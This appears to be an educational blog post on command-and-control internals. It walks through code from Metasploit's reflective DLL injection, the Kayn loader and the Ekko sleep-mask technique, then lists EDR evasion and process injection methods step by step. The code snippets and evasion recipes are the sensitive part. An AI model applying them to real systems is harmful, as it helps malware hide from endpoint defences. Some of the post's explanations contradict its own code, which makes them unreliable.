How C2 Works In-depth
Today's Table of Content [Part 3]
-
Third Part:
- Entire extebsions of the Meterpreter & Code Analysis
- RDI in modern C2
- Evading EDRs with modern evasive techniques
- How is the ReflectiveLoader Function Called in a DLL
- Hooking Techniques Employed by EDR Systems for Malware Detection
Entire extensions of the Meterpreter & Code Analysis
Let's break down how Metasploit handles essential tasks like uploading and downloading files. To understand this, we first need to look at the stdapi
DLL, which is central to these operations. This DLL is loaded into memory using a reflective loader
URL -> Github
As you observe in this code also includes bringing in the reflectiveloader, a important part that allows the stdapi DLL to dynamically reflect into memory Let's simplify this process to better see how it works!
Continuing Explanation of the Reflective DLL Injection in (tokendup.c)
In the tokendup.c
file wich is responsible for elevating privileges, our primary focus privilege escalation by injecting a DLL into a system service using Reflective DLL Injection (RDI). This method allows will also the DLL to be loaded into a target process's memory without being written to disk... Let's break down how this process is handled in the code.
URL -> Github
How it works?
-
Loading the Reflective Loader:
LPCSTR reflectiveLoader = met_api->packet.get_tlv_value_reflective_loader(packet);
- The reflective loader is extracted from the packet. This function is embedded in the DLL and is responsible for loading the DLL into the target process's memory.
-
Checking for Required System Architecture:
if( elevate_getnativearch() != PROCESS_ARCH_X86 ) BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_debug. Unsupported platform", ERROR_BAD_ENVIRONMENT );
- The function verifies that the system architecture is x86, as RDI in this context only supports 32-bit systems.
-
Opening the Remote Process:
hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, status.dwProcessId); if( !hProcess ) break;
- A handle to the target process is opened with permissions necessary to allocate memory, write to memory, and create a thread within the process.
-
Allocating Memory in the Target Process:
lpRemoteCommandLine = VirtualAllocEx(hProcess, NULL, strlen(cCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE); if( !lpRemoteCommandLine ) break;
- Memory is allocated in the remote process's address space. This memory will be used to store the command line string that will be passed to the injected DLL.
-
Writing the Command Line to the Remote Process:
if( !WriteProcessMemory(hProcess, lpRemoteCommandLine, cCommandLine, strlen(cCommandLine)+1, NULL) ) break;
- The command line (
cCommandLine
) is written into the allocated memory of the remote process. This command line will be used by the injected DLL.
- The command line (
-
Injecting the DLL using RDI:
hThread = LoadRemoteLibraryR(hProcess, lpServiceBuffer, dwServiceLength, reflectiveLoader, lpRemoteCommandLine); if( !hThread ) break;
LoadRemoteLibraryR
performs the Reflective DLL Injection. It injects the DLL (contained inlpServiceBuffer
) into the target process (hProcess
). ThereflectiveLoader
function is used to load the DLL into memory, andlpRemoteCommandLine
is passed as an argument to the DLL.
-
Waiting for the DLL to Execute:
if( WaitForSingleObject(hThread, 30000) != WAIT_OBJECT_0 ) break;
WaitForSingleObject
waits for the injected thread (which represents the DLL’s execution) to complete. The function waits up to 30 seconds for the DLL to finish its execution within the target process.
RDI in modern C2
In an alternate C2 framework, there's a contemporary approach to reflective loading known as the Kayn Loader, and it has been integrated into frameworks like Havoc-C2.
This technique addresses certain issues found in Stephen Fewer's method. Specifically, in Stephen Fewer's Reflective DLL Injection (RDI), the entire memory region for DLL(s) is set to be RWX (read, write, execute). However, Kayn Loader takes a more precise approach by specifying memory protection for each part of the memory individually.
URL -> Github
// ----------------------------------
// 5. Set protection for each section
// ----------------------------------
for ( DWORD i = 0; i < NtHeaders->FileHeader.NumberOfSections; i++ )
{
SecMemory = KVirtualMemory + SecHeader[i].VirtualAddress;
SecMemorySize = SecHeader[i].SizeOfRawData;
Protection = 0;
OldProtection = 0;
if ( SecHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE )
Protection = PAGE_WRITECOPY;
if ( SecHeader[i].Characteristics & IMAGE_SCN_MEM_READ )
Protection = PAGE_READONLY;
if ( ( SecHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE ) && ( SecHeader[i].Characteristics & IMAGE_SCN_MEM_READ ) )
Protection = PAGE_READWRITE;
if ( SecHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE )
Protection = PAGE_EXECUTE;
if ( ( SecHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( SecHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE ) )
Protection = PAGE_EXECUTE_WRITECOPY;
if ( ( SecHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( SecHeader[i].Characteristics & IMAGE_SCN_MEM_READ ) )
Protection = PAGE_EXECUTE_READ;
if ( ( SecHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( SecHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE ) && ( SecHeader[i].Characteristics & IMAGE_SCN_MEM_READ ) )
Protection = PAGE_EXECUTE_READWRITE;
Instance.Win32.NtProtectVirtualMemory(NtCurrentProcess(), &SecMemory, &SecMemorySize, Protection, &OldProtection);
}
This part of the code does several important things:
First, the loader goes through each section of the DLL. Each section can contain different types of data, like code or information. For each section, the code checks what kind of permissions it needs. It looks to see if the section should be writable, readable, or executable.
The variable SecMemory
points to the start of the current section in the virtual memory where the DLL is loaded. SecMemorySize
holds the size of that section. The Protection
variable is used to determine the memory protection settings, and OldProtection
will store the previous protection settings before they are changed.
The code then uses a series of if
statements to check the characteristics of each section. These characteristics are flags that tell the loader what the section is supposed to do. For example, IMAGE_SCN_MEM_WRITE
means the section can be written to, IMAGE_SCN_MEM_READ
means it can be read, and IMAGE_SCN_MEM_EXECUTE
means it can be executed as code.
Depending on which flags are set, the loader assigns a specific protection level:
- If the section is writable, it sets the protection to
PAGE_WRITECOPY
, which allows writing but not executing. - If the section is readable, it sets the protection to
PAGE_READONLY
, allowing only reading. - If the section needs to be both readable and writable, it uses
PAGE_READWRITE
, which allows both actions. - If the section should be executable, it uses
PAGE_EXECUTE
, allowing the code to run. - For sections that need to be both executable and writable, it uses
PAGE_EXECUTE_WRITECOPY
. - If a section needs to be executable and readable, it sets
PAGE_EXECUTE_READ
. - Finally, if a section needs to be executable, readable, and writable, it uses
PAGE_EXECUTE_READWRITE
.
After determining the correct protection level, the loader calls the NtProtectVirtualMemory
function. This function changes the protection settings of the specified memory area. It ensures that each section of the DLL has only the permissions it needs. For example, code sections will be executable but not writable, while data sections might be writable but not executable.
Sleep Mask Obfuscation
Introduction to Sleep Mask Obfuscation :-
imagine an adversary establishing a successful C2 connection, only to have their malware detected by a memory scanner before it can act. The payload, sitting idle or loading in memory, triggers alarms, exposing the attack. Memory scanning tools now frequently catch malware in these vulnerable states. To avoid this, attackers use Sleep Mask Obfuscation, a technique that encrypts the payload in memory and only decrypts it when needed, evading detection. By combining encryption, memory protection switching, and ROP chains, malware can operate stealthily while maintaining C2 control.
In this blog section, we'll explore how each of these components works.
At the first, here’s a simple outline of how this works in practice:
- Sleep Mode - When idle, the malware encrypts itself in memory and sets the memory region to non-executable. It also sets a waitable timer for when it will next check in with the C2 server.
- Periodic Wake-Up - At the scheduled time, the malware decrypts itself, checks in with the C2 server, and listens for new instructions.
- Execution - If the C2 server sends a command, the malware decrypts the payload, executes the command, and then re-encrypts itself.
- Idle Period - During idle times, the payload remains encrypted and hidden from memory scanners, with no visible code that could trigger detection.
1. Memory Encryption and Decryption
When malware is idle (waiting for instructions from the C2 server), it encrypts its memory region to hide its code. This ensures that if a memory scanner attempts to inspect the process, it will only see encrypted data, making it impossible to understand or analyze the payload. The encryption process is often done using symmetric algorithms such as RC4 due to its speed and low overhead.
Key Aspects:
- Memory regions storing the payload are encrypted during inactivity.
- The payload is decrypted only during execution to reduce exposure.
Example: Encrypting the Process with RC4
// Random key generation for RC4 encryption
CHAR keyBuffer[16] = { 0x31, 0x31, 0x31, 0x31, 0x31, 0x31, 0x31, 0x31, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18 };
// Load SystemFunction032, the function that performs RC4 encryption
SystemFunction032 = (tSystemFunction032) GetProcAddress(hAdvapi32, "SystemFunction032");
// Encrypt the payload (image) in memory
ctxEncryption.Rsp -= (8 + 0xF0); // Adjust the stack pointer
ctxEncryption.Rip = (DWORD_PTR) SystemFunction032; // RC4 encryption function address
ctxEncryption.Rcx = (DWORD_PTR) &Image; // Pointer to the payload (image) to encrypt
ctxEncryption.Rdx = (DWORD_PTR) &Key; // Pointer to the encryption key
- In this code, the payload (stored in the
Image
) is encrypted in memory using RC4. The encryption key is dynamically generated, ensuring that each session of the malware has a unique encrypted payload, making it more difficult for static analysis tools to match the pattern.
2. Memory Protection Switching
To execute the encrypted code, the malware first needs to make the memory region writable (so that the decryption can happen). Once the payload is decrypted, the memory needs to be made executable again so that the decrypted code can run.
This involves switching memory protection flags using VirtualProtect. Switching between PAGE_READWRITE (for decryption) and PAGE_EXECUTE_READWRITE (for execution) is essential for hiding the payload while idle and only revealing it for a brief moment during execution.
Switching Memory Protection
// Switch memory to RW (Read-Write) to allow decryption
ctxProtectionRW.Rsp -= (8 + 0x150); // Adjust the stack pointer
ctxProtectionRW.Rip = (DWORD_PTR) VirtualProtect; // Call VirtualProtect to change memory protection
ctxProtectionRW.Rcx = (DWORD_PTR) ImageBase; // Address of the memory region (payload)
ctxProtectionRW.Rdx = ImageSize; // Size of the memory region
ctxProtectionRW.R8 = PAGE_READWRITE; // Set memory to read-write for decryption
// After decryption, switch memory to RX (Execute-Read) to allow execution
ctxProtectionRWX.Rsp -= (8 + 0x30);
ctxProtectionRWX.Rip = (DWORD_PTR) VirtualProtect;
ctxProtectionRWX.Rcx = (DWORD_PTR) ImageBase;
ctxProtectionRWX.Rdx = ImageSize;
ctxProtectionRWX.R8 = PAGE_EXECUTE_READWRITE; // Set memory to execute-read for running the payload
- When the memory is in PAGE_READWRITE mode, it allows the malware to decrypt the encrypted payload. Once the decryption is complete, the memory is switched to PAGE_EXECUTE_READWRITE, allowing the malware to execute the decrypted code. This process ensures that the payload is only in an executable state for short periods, minimizing its exposure to security tools.
3. ROP Chains for Indirect Execution
To further reduce detection, malware can avoid directly calling sensitive functions like VirtualProtect
or encryption functions. Instead, it uses Return-Oriented Programming (ROP) chains, which string together small snippets of existing code (called gadgets) that are already present in memory. These gadgets are carefully selected to manipulate the CPU registers and execute desired functions without making suspicious direct API calls.
How ROP Works:
- ROP chains are sequences of instructions that end in
RET
(return instructions), allowing the malware to control the flow of execution indirectly. - Each gadget performs a small operation, and by chaining them together, complex operations like memory protection changes and encryption can be carried out stealthily.
Example: Executing ROP Chains for Memory Protection and Encryption
// Find ROP gadgets for manipulating registers
rcxGadget = findGadget((PBYTE) "\x59\xC3", "xx"); // Example gadget to manipulate RCX
rdxGadget = findGadget((PBYTE) "\x5A\xC3", "xx"); // Example gadget to manipulate RDX
shadowFixerGadget = findGadget((PBYTE) "\x48\x83\xC4\x20\x5F\xC3", "xxxxxx"); // Gadget to fix shadow stack
// Execute the ROP chain for encryption, decryption, and memory protection changes
QuadSleep(rcxGadget, rdxGadget, shadowFixerGadget, (PVOID) SleepEx);
- The malware uses ROP chains to execute memory protection changes and encryption/decryption functions indirectly. This avoids making direct calls to sensitive system functions, which could raise red flags for security tools.
4. Timed Execution with Waitable Timers
Sleep Mask Obfuscation uses waitable timers to control the timing of encryption, decryption, and execution, ensuring that these actions don’t happen all at once, which would be more suspicious. By spreading out its activity over time, the malware becomes less detectable.
Example: Timed Execution Using Waitable Timers
// Create timers for controlling the timing of different stages
hProtectionRWTimer = CreateWaitableTimerW(NULL, TRUE, L"ProtectionRWTimer");
hProtectionRWXTimer = CreateWaitableTimerW(NULL, TRUE, L"ProtectionRWXTimer");
hEncryptionTimer = CreateWaitableTimerW(NULL, TRUE, L"EncryptionTimer");
hDecryptionTimer = CreateWaitableTimerW(NULL, TRUE, L"DecryptionTimer");
// Set timers to execute encryption, decryption, and memory protection at staggered intervals
SetWaitableTimer(hEncryptionTimer, &encryptionDueTime, 0, NtContinue, &ctxEncryption, FALSE);
SetWaitableTimer(hDecryptionTimer, &decryptionDueTime, 0, NtContinue, &ctxDecryption, FALSE);
- By using waitable timers, the malware schedules its encryption, decryption, and memory protection changes to occur at different times, reducing the likelihood of generating suspicious activity all at once.
5. ROP Chain Execution in Assembly (QuadSleep)
The QuadSleep function, written in assembly, executes the ROP chain for managing the memory protection, encryption, and decryption processes. This is done without directly calling sensitive system functions, further avoiding detection.
Assembly Code Example: QuadSleep Function
[BITS 64]
GLOBAL QuadSleep
EXTERN SleepEx
[SECTION .text]
QuadSleep:
sub rsp, 0x28 ; Adjust the stack
mov r10, end
push r10 ; Store return address
push r9 ; Save r9 register
mov r10, 0xFFFFFFFF
push r10 ; First argument for SleepEx
push rcx ; Store rcx
mov r10, 1
push r10 ; Second argument for SleepEx
push rdx ; Store rdx
lea r10, [rdx + 1]
push r10 ; Adjust the stack
jmp r9 ; Jump to the next gadget
end:
add rsp, 0x28 ; Restore the stack
ret ; Return from the ROP chain
- This Assembly function sets up the ROP chain, managing the stack and CPU registers to perform encryption, decryption, and memory protection changes without direct calls to the APIs.
Example: Ekko Technique for Sleep Mask Obfuscation
Below is a simplified example using the Ekko technique, which illustrates how malware can use Sleep Mask Obfuscation to evade detection while maintaining control through C2 communication.
Code implant example by 5Cpider ( Link : Github - Cracked5pider - Ekko ) :
VOID EkkoObf(DWORD SleepTime) {
CONTEXT CtxThread = { 0 };
CONTEXT RopProtRW = { 0 };
CONTEXT RopMemEnc = { 0 };
CONTEXT RopDelay = { 0 };
CONTEXT RopMemDec = { 0 };
CONTEXT RopProtRX = { 0 };
HANDLE hTimerQueue = CreateTimerQueue();
HANDLE hEvent = CreateEventW(0, 0, 0, 0);
PVOID ImageBase = GetModuleHandleA(NULL);
DWORD ImageSize = ((PIMAGE_NT_HEADERS)((DWORD64)ImageBase + ((PIMAGE_DOS_HEADER)ImageBase)->e_lfanew))->OptionalHeader.SizeOfImage;
CHAR KeyBuf[16] = { 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55 };
USTRING Key = { .Buffer = KeyBuf, .Length = 16, .MaximumLength = 16 };
USTRING Img = { .Buffer = ImageBase, .Length = ImageSize, .MaximumLength = ImageSize };
// Capture the context and set up ROP chains
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, RtlCaptureContext, &CtxThread, 0, 0, WT_EXECUTEINTIMERTHREAD);
WaitForSingleObject(hEvent, 0x32);
// Set memory to RW for decryption, then back to RX for execution
memcpy(&RopProtRW, &CtxThread, sizeof(CONTEXT));
memcpy(&RopMemEnc, &CtxThread, sizeof(CONTEXT));
memcpy(&RopDelay, &CtxThread, sizeof(CONTEXT));
memcpy(&RopMemDec, &CtxThread, sizeof(CONTEXT));
memcpy(&RopProtRX, &CtxThread, sizeof(CONTEXT));
RopProtRW.Rip = VirtualProtect;
RopProtRW.Rcx = ImageBase;
RopProtRW.Rdx = ImageSize;
RopProtRW.R
8 = PAGE_READWRITE;
RopMemEnc.Rip = SysFunc032;
RopMemEnc.Rcx = &Img;
RopMemEnc.Rdx = &Key;
RopDelay.Rip = WaitForSingleObject;
RopDelay.Rcx = NtCurrentProcess();
RopDelay.Rdx = SleepTime;
RopMemDec.Rip = SysFunc032;
RopMemDec.Rcx = &Img;
RopMemDec.Rdx = &Key;
RopProtRX.Rip = VirtualProtect;
RopProtRX.Rcx = ImageBase;
RopProtRX.Rdx = ImageSize;
RopProtRX.R8 = PAGE_EXECUTE_READWRITE;
// Execute the sequence with timers
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, NtContinue, &RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD);
}
Code Explanation:
-
Encryption and Decryption Mechanism
The Sleep Mask Obfuscation lies in its ability to disguise the malicious code's execution pattern. This is achieved through dynamic encryption and decryption of the code segment, using a randomly generated cryptographic key:CHAR KeyBuf[16]; unsigned int r = 0; for (int i = 0; i < 16; i++) { rand_s(&r); KeyBuf[i] = (CHAR) r; }
This segment initializes a 16-byte key with random values. The unpredictability of the key is crucial, as it ensures that the encryption pattern is unique for each execution, thereby complicating static and dynamic analysis.
-
Dynamic Memory Protection
To execute encrypted code, the memory region containing the code must first be made writable (to decrypt the code) and then executable (to execute the decrypted code). This is managed through calls toVirtualProtect
, altering the memory protection status:RopProtRW.Rip = VirtualProtect; RopProtRW.Rcx = ImageBase; RopProtRW.Rdx = ImageSize; RopProtRW.R8 = PAGE_READWRITE;
Initially, the memory region is set to PAGE_READWRITE
to allow decryption. Post decryption, it's changed to PAGE_EXECUTE_READWRITE
for execution. This manipulation of memory protections is a red flag for EDR systems, hence the need for obfuscation.
- Timed Execution and Obfuscation
The obfuscation routine employs a timer-based execution strategy to further conceal the decryption and execution process:
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, NtContinue, &RopDelay, 300, 0, WT_EXECUTEINTIMERTHREAD);
By spacing out the encryption, decryption, and execution steps over time, the technique dilutes the concentration of suspicious activities, making detection more challenging for time-based heuristic analysis.
- Return-Oriented Programming ( ROP ) Chains
Shortly, Return-Oriented Programming (ROP) chains are a sophisticated technique used in software exploitation and obfuscation to execute code sequences in a controlled manner. ROP works by finding and executing snippets of code already present in a program's memory, known as "gadgets," to perform arbitrary operations without introducing new code. Each gadget typically ends in aret
instruction, allowing an attacker to chain them together to execute complex sequences by carefully arranging return addresses on the stack.
RopMemEnc.Rip = SysFunc032; // Points to SystemFunction032 (RtlEncryptDecryptRC4)
Here, SysFunc032
is indirectly invoked via an ROP gadget, encrypting or decrypting the target memory region without a direct call.
Evading EDRs with Modern C2 Techniques
Traditional Methods Weakness
Process Injection Methods and Their Limitations — such as DLL injection, remote thread creation, and code injection using WriteProcessMemory
and CreateRemoteThread
—were once effective methods for executing arbitrary code within legitimate processes. However, modern Endpoint Detection and Response (EDR) systems have significantly advanced their detection capabilities. They now employ sophisticated monitoring of API calls, memory analysis, and behavioral heuristics to identify and block these conventional techniques.
Weaknesses of Traditional Methods:
- Traditional injection methods leave behind recognizable patterns and artifacts that EDRs can detect.
- EDRs hook common APIs used for injection, triggering alerts when they're called anomalously.
- In-memory code injections are identified through memory analysis techniques that detect discrepancies in code sections.
Evolution of C2 Techniques to Evade Detection
In response to the enhanced scrutiny from EDRs, modern Command and Control (C2) frameworks have evolved to adopt stealthier techniques. These methods focus on minimizing footprints, avoiding known signatures, and blending malicious activities with legitimate system operations.
Advanced Techniques Include:
- Living Off the Land Binaries (LoLBins) - Using legitimate system tools (e.g.,
PowerShell
,MSHTA
) to execute code, reducing reliance on external binaries - In-Memory Execution
- Indirect Syscalls - Bypassing API hooks by invoking system calls directly, avoiding user-mode API monitoring
Hooking
Function hooking lets C2 systems sneakily watch and change system, API, and function calls in both user and kernel modes. This sneaky move lets them mess with software's normal working, avoiding EDRs' eyes.
-
User Mode Hooking: Uses basic tricks like messing with the IAT (Import Address Table), putting code directly inline, and using trampolines. These keep the sneakiness at the app level, out of EDR sight.
-
Kernel Mode Hooking: Goes deeper, using stuff like SSDT (System Service Descriptor Table) hooking, messing with the IDT (Interrupt Descriptor Table), and tweaking MSR (Model Specific Registers). This deep level trickery messes with system calls, giving more control and hiding.
Function Hooking Types (Simple Examples)
Hooking Techniques Employed by EDR Systems for Malware Detection
Import Address Table (IAT) Hooking | User-mode |
|
Export Address Table (EAT) Hooking | User-mode |
|
Inline Hooking (Code Patching) | User-mode / Kernel-mode |
|
System Service Descriptor Table (SSDT) Hooking | Kernel-mode |
|
Interrupt Descriptor Table (IDT) Hooking | Kernel-mode |
|
Page Table Entry (PTE) Hooking | Kernel-mode |
|
Hooking of Windows Registry Functions | User-mode / Kernel-mode |
|
API Call Monitoring and Hooking | User-mode |
|
Debugging Function Hooking | User-mode |
|
Hardware Breakpoint Monitoring | Kernel-mode |
|
Hypervisor-Based Hooking | Hypervisor |
|
Kernel Callback Functions | Kernel-mode |
|
System Call Tracing | User-mode / Kernel-mode |
|
Driver Dispatch Table Hooking | Kernel-mode |
|
Virtual Function Table (VTable) Hooking | User-mode |
|
User-mode Callback Hooking | User-mode |
|
Hardware Breakpoints
In the game of hide and seek between C2 and EDRs, using hardware breakpoints for system calls is getting popular. But, it's risky because EDRs watch thread activities closely, which might expose C2's hidden moves.
Threadless Injection & Sleep Mask Obfuscation
- Threadless Injection helps in avoiding making new threads to lower chances of being caught by EDRs.
- Sleep Mask Obfuscation tricks with operation timing and length to stay hidden.
More Simple Evasion Techniques
Going deeper, we find easy evasion tactics. Stuff like making API calls look different and hiding shellcodes with simple encryption stand out. Adding basic function hooking to these tricks helps mess with the normal flow in both user and kernel modes.
The most used server side evasive techniques in C&C frameworks
-
Malleable C2 Profiles - frameworks allow customization of C2 communication patterns, including HTTP headers, URIs, and SSL certificates, to mimic legitimate traffic and evade detection
-
Encryption and Obfuscation - Encrypting C2 communications and using obfuscation techniques make it difficult for network monitoring tools to inspect and block malicious traffic
-
Domain Fronting - C2 traffic is routed through different domain names to hide behind trusted services like CDN providers, making it appear as legitimate traffic
-
Dynamic Domain Generation Algorithms (DGAs) - generates new domain names dynamically, making it challenging for defenders to block or track C2 servers effectively
-
Redundant C2 Infrastructure - ensuring operational continuity even if some servers are detected and taken down
-
JA3/S Fingerprint Manipulation - manipulate SSL/TLS client and server fingerprints to avoid matching known malicious profiles, bypassing SSL/TLS fingerprint-based detection
-
Custom Protocol Obfuscation - use protocol obfuscation techniques to mask C2 traffic, making it appear as normal network traffic and evading network-based detection systems
The most used client side (Loader) evasive techniques in C&C frameworks
- Code Injection - Inject malicious code into legitimate processes to avoid detection. Let's mention some of the injection techniques !
1. Classic Shellcode Injection - Allocate memory in the target process using
VirtualAllocEx
with appropriate permissions (e.g.,PAGE_EXECUTE_READWRITE
). - Write the malicious shellcode into the allocated memory using
WriteProcessMemory
. - Create a remote thread in the target process to execute the shellcode using
CreateRemoteThread
or execute via callback functions likeSetWindowsHookEx
.
2. Hook Injection - Intercept API calls made by the target process using techniques like IAT/EAT hooking or inline hooking.
- Modify function pointers or overwrite instructions to redirect the intercepted API calls to the malicious code.
- Ensure that the malicious code is executed whenever the hooked API is called by the target process.
3. Thread Local Storage (TLS) Callback Injection - Modify the target process's Portable Executable (PE) header to include a new TLS callback function.
- Embed the malicious code as the TLS callback so it executes during process or thread initialization.
- Ensure the modified PE is loaded by the target process, triggering the execution of the malicious TLS callback.
4. Asynchronous Procedure Call (APC) Injection - Allocate executable memory in the target process using
VirtualAllocEx
. - Write the malicious code into the allocated memory using
WriteProcessMemory
. - Queue an APC to a target thread in the process using
QueueUserAPC
, pointing to the malicious code. - Resume or alert the thread to ensure it reaches an alertable state and executes the APC.
5. Exception Handling Hijacking Injection - Allocate memory in the target process using
VirtualAllocEx
for the malicious code and the modified exception handler. - Write the malicious code and a custom exception handler into the allocated memory using
WriteProcessMemory
. - Modify the target process's exception handling structures (e.g., the Structured Exception Handling chain) to point to the custom handler.
- Trigger an exception (e.g., divide by zero) in the target process to invoke the custom exception handler and execute the malicious code.
6. Process Hollowing - Create a new suspended process (e.g., using
CreateProcess
with theCREATE_SUSPENDED
flag). - Unmap or hollow out the memory of the target process's main executable section using functions like
ZwUnmapViewOfSection
. - Allocate memory in the target process for the malicious executable.
- Write the malicious executable into the allocated memory using
WriteProcessMemory
. - Adjust the entry point of the process to point to the malicious code.
- Resume the main thread of the process to execute the malicious code.
7. Reflective DLL Injection - Load a DLL into memory without using the Windows loader, typically from memory rather than disk.
- Use a reflective loader within the DLL to map the DLL into the target process's memory space.
- Execute the DLL's entry point or exported functions within the target process.
- This technique avoids touching disk and can bypass some security controls that monitor disk-based operations.
8. Process Doppelgänging - Abuse the Windows Transactional NTFS (TxF) feature to create a malicious process.
- Create a transaction and overwrite a legitimate executable within the transaction.
- Create a process from the modified executable within the transaction.
- Commit or roll back the transaction, which doesn't affect the in-memory image, thus running the malicious code under the guise of a legitimate process.
9. Kernel-Mode Driver Injection - Load a malicious kernel-mode driver into the operating system.
- Utilize methods like exploiting vulnerable drivers or disabling driver signature enforcement to load unsigned drivers.
- The malicious driver can execute code with kernel-level privileges, potentially bypassing user-mode security controls.
- Allocate memory in the target process using
- DLL Side-Loading - DLL sideloading is an attack on Windows devices in which threat actors distribute a malicious DLL together with a legitimate application that executes it.
- Fileless Execution - Execute code directly in memory without leaving traces on disk or downloading the main loader over internet
- API Calls Obfuscations - Hiding the API calls inside the code
- Delayed Execution - Delay running malicious code to evade initial detection
- Anti-Debugging Techniques - Detect and evade debugging attempts
- Anti-Sandbox Techniques - Identify and alter behavior to evade sandbox environments
- Unhooking User-Land Hooks - Remove hooks injected by security systems in system libraries
- Unhooking Import Address Table (IAT) - Remove hooks in the Import Address Table
- DirectSys Calls - Use direct system calls instead of APIs to bypass hooking
- Merge Module Stomping - Combine with unhooking methods to evade detection further
- UUID Obfuscation - Obfuscate shellcode to evade signature-based detection
- Domain Fronting with Random Traffic Profiles - Use domain fronting with randomized traffic to evade network detection
- Patching Process Event Tracing - Prevent logging by security systems
- Spoofed Fake Certificates - Use fake certificates to appear legitimate
- Code Metamorphism and Noise Insertion - Constantly change code structure and behavior to evade detection
The End
References & Resources:
- Meterpreter Internals - Presented By (OJ Reeves): https://www.youtube.com/watch?v=ZKznMBWUQ_c&t=716s
- Reflective DLL Injection v1.0 By (Stephen Fewer): https://www.dc414.org/wp-content/uploads/2011/01/242.pdf
- Developing custom shellcode in x64 using pure assembly: https://wajid-nawazish.medium.com/developing-custom-shellcode-in-x64-57172a885d77
- Command & Control (C2) Explained (Dan Duran): https://www.youtube.com/watch?v=gSeHs43E0qs
Disclaimer: The content provided in this blog is for educational purposes only. It explores various cybersecurity techniques, tools, and concepts. Readers are encouraged to use this information responsibly and ethically. Remember that unauthorized or malicious actions are strictly discouraged.
Thanks for reading!